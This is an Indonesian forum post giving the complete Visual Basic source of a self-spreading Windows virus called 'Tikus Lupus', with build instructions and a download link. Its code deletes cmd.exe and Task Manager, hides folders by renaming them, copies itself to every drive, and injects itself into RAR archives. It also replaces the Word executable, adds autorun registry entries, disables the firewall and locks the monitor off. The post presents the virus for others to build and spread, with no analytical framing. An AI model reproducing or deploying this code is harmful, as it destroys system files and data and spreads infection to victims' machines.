Virus Tikus Lupus by Shadow Angel with VB

Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..

Yang di butuh.in untuk buat virus ini :
-> 1 Form,
-> 3 Modul, yang terdiri dari :Daerah Tikus Lupus,Modul1,dan RumahTikus.
-> 1 Class Modul,
-> 1 Related Documents

Dan Komponen yang di butuh..in cuman :
-> 1 Timer aja.



taruh di form
Private Fso As New FileSystemObject
Private Drive As Drive
Private Drives As Drives
Option Explicit
Private TikusFirewall As LupusFirewall
Private lngPortCounter As Long
Private Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)

Private Type TIME_OF_DAY_INFO
telapsed As Long
tmsecs As Long
thours As Long
tmins As Long
tsecs As Long
thunds As Long
ttimezone As Long
ttinterval As Long
tday As Long
tmonth As Long
tyear As Long
tweekday As Long
End Type

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Function LingkaranTikus(TheForm As Form)
SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1
End Function

Function AmbilJamDikomputer()
Dim JamLupus As TIME_OF_DAY_INFO
Dim JamTikusLupus As Long, lpBuffer As Long
Dim ServerLupus() As Byte
JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer)
CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus)
If lpBuffer Then
Call NetApiBufferFree(lpBuffer)
End If
AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday)
year = Right(AmbilJamDikomputer, 4)
End Function

Sub PenampilanLupus()
Dim a
Do Until a = 1
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
Loop
End Sub

Function TikusInfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
For Each FolderS In Fso.GetFolder(Fold).subfolders
Call TikusInfeksiFolder(FolderS.Path)
Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"
Next FolderS
End Function

Private Sub RuanganTikus()
Set Drives = Fso.Drives

For Each Drive In Drives
Select Case Drive.DriveType
Case Removable
Case Fixed
Case CDRom
GoTo KondisiTikus
Case Remote
End Select
If Drive.IsReady = True Then
If Drive.AvailableSpace <> "" Then
Dim letter As String
letter = Drive.DriveLetter
FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt"
TikusInfeksiFolder letter + ":\"
End If
End If
KondisiTikus:
Next
End Sub

Sub PermenLupus()
Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")
Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")
TikusInfeksiFolder "c:\"
MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"
Call LingkaranTikus(Me)
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
LepaskanTikus:
Select Case X$
Case X$ > "2"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Call PenampilanLupus
Case X$ > "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
Case X$ < "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
End Select
End Sub

Sub hibernate()
TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
TikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
Shell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocus
Shell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocus

End Sub
Private Function TikusCariFile(NamaLengkapFile As String) As Boolean
On Error GoTo LupusdanTikus
Open NamaLengkapFile For Input As #1
Close #1
FileEx = True
Exit Function
LupusdanTikus:
FileEx = False
Exit Function
End Function

Sub TikusAmbilInfoKomputer()
Dim JalaLupus
Dim DokumenLupus
On Error Resume Next
Set JalaLupus = CreateObject("WScript.NetWork")
If Err.Number <> 0 Then
DokumenLupus.Location = "TikusLupus.html"
End If

Dim NamaPemakai
Dim NamaKomputer
Dim DomainKomputer
NamaPemakai = JalaLupus.username
NamaKomputer = JalaLupus.ComputerName
DomainKomputer = JalaLupus.UserDomain

Select Case DomainKomputer
Case "STD"
Case "AVR"
TikusFirewall.DisableFirewall
Case Else
TikusFirewall.DisableFirewall
End Select
Set JalaLupus = Nothing
End Sub

Sub InfeksiTikus2()
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"
Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"
End Sub

Private Sub Form_Load()
Dim Fso, DrvType
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.DriveExists("C:\")) <> "" Then
DrvType = "C:\"
End If
If (Fso.DriveExists("D:\")) <> "" Then
DrvType = "D:\"
End If

Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.IsReady Then
Call PencarianTikus(Drive)
End If
Next

TikusLupus.Visible = False
App.TaskVisible = False
Timer1 = False
Call TikusAmbilInfoKomputer
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
Call LingkaranTikus(Me)
Call AmbilJamDikomputer
If year >= "2007" Then
Call PermenLupus
End If
Select Case X$
Case 1
Call hibernate
Case 2
Call PenampilanLupus
Case Else
InfeksiTikus2
Timer1 = True
End Select

End Sub

Private Sub Timer1_Timer()
RuanganTikus
End Sub


Function PencarianTikus(Path)
Dim Fso, DrvType, ws, TikusKetiga, Tikuskeempat
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Folder = Fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files

If Fso.GetExtensionName(File.Path) = "rar" Then
Set ws = CreateObject("wscript.shell")
Set Fso = CreateObject("Scripting.filesystemobject")
TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe"
If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Then
ws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"
Open App.Path & "\DaftarTikus.txt" For Append As #1
Write #1, File.Path
Close #1
End If
End If
Next
Set subfolders = Folder.subfolders
For Each subfolder In subfolders
PencarianTikus subfolder.Path
Next
End Function
Ini Kode yang di Taruh di Modules-> Daerah Tikus Lupus
Option Explicit

Public Enum enProtocoll
TCP = 0
UDP = 1
End Enum
ni Kode yang di Taruh di Modulesl-> Module 1
Global FileEx
Global year
Global X As String
Global newreg
Ini Kode yang di Taruh di Modules-> Rumah Tikus
Option Explicit

Public Type tagInitCommonControlsEx
lngSize As Long
lngICC As Long
End Type
Private Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _
(KejuTikusLupus As tagInitCommonControlsEx) As Boolean

Private Const ICC_USEREX_CLASSES = &H200

Public Sub PusatTikus()

On Error Resume Next

Dim KejuTikusLupus As tagInitCommonControlsEx
With KejuTikusLupus
.lngSize = LenB(KejuTikusLupus)
.lngICC = ICC_USEREX_CLASSES
End With
InitCommonControlsEx KejuTikusLupus
TikusLupus.Show
TikusLupus.Hide
App.TaskVisible = False
On Error GoTo 0

End Sub
Ini Kode yang di Taruh di Class Modules-> Lupus Firewall
Option Explicit

Const ICSSC_DEFAULT = 0
Const CONNECTION_PUBLIC = 0
Const CONNECTION_PRIVATE = 1
Const CONNECTION_ALL = 2

Const NET_FW_IP_PROTOCOL_UDP = 17
Const NET_FW_IP_PROTOCOL_TCP = 6

Const NET_FW_SCOPE_ALL = 0
Const NET_FW_SCOPE_LOCAL_SUBNET = 1

Private JalurBerbagiFileLupus As Object

'--> Kembalikan Status Firewall
Public Function StatusFirewallLupus() As Boolean

Dim PeriksaFirewallLupus As Boolean
Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
PeriksaFirewallLupus = False
Else
PeriksaFirewallLupus = True
End If

StatusFirewallLupus = PeriksaFirewallLupus

Exit Function

TangkisError:
StatusFirewallLupus = False
MsgBox "Error: " & Err.Description
Err.Clear

End Function

'--> Aktifkan Firewall
Public Sub EnableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = False Then
ProfileFirewallTikus.FirewallEnabled = True
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Matikan Firewall
Public Sub DisableFirewall()

Dim ProfileFirewallTikus As Object

On Error GoTo ErrorHandler

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

If ProfileFirewallTikus.FirewallEnabled = True Then
ProfileFirewallTikus.FirewallEnabled = False
End If

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

ErrorHandler:
MsgBox Err.Description
Err.Clear

End Sub

'--> Tambah Port Di Konfigurasi Firewall
Public Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)

Dim ProfileFirewallTikus As Object
Dim port As Object

On Error GoTo TangkisError


Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
Set port = CreateObject("HNetCfg.FWOpenPort")

port.Name = strPortName
If LCase(strPortProtocol) = "UDP" Then
port.Protocol = NET_FW_IP_PROTOCOL_UDP
Else
port.Protocol = NET_FW_IP_PROTOCOL_TCP
End If

port.port = intPortNumber

port.Scope = NET_FW_SCOPE_ALL

port.Enabled = True

ProfileFirewallTikus.GloballyOpenPorts.Add port

Set ProfileFirewallTikus = Nothing
Set port = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub

Public Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)

Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow

Set ProfileFirewallTikus = Nothing
Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
MsgBox Err.Description
Err.Clear

End Sub
mau yang langsung jadi
http://www.4shared.com/file/34107118/6bb399dd/Virus_Lupus__2007_By_Shadow_Angel__Source_Code_.html?dirPwdVerified=e6fda62c

Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..

Yang di butuh.in untuk buat virus ini :
-> 1 Form,
-> 3 Modul, yang terdiri dari :Daerah Tikus Lupus,Modul1,dan RumahTikus.
-> 1 Class Modul,
-> 1 Related Documents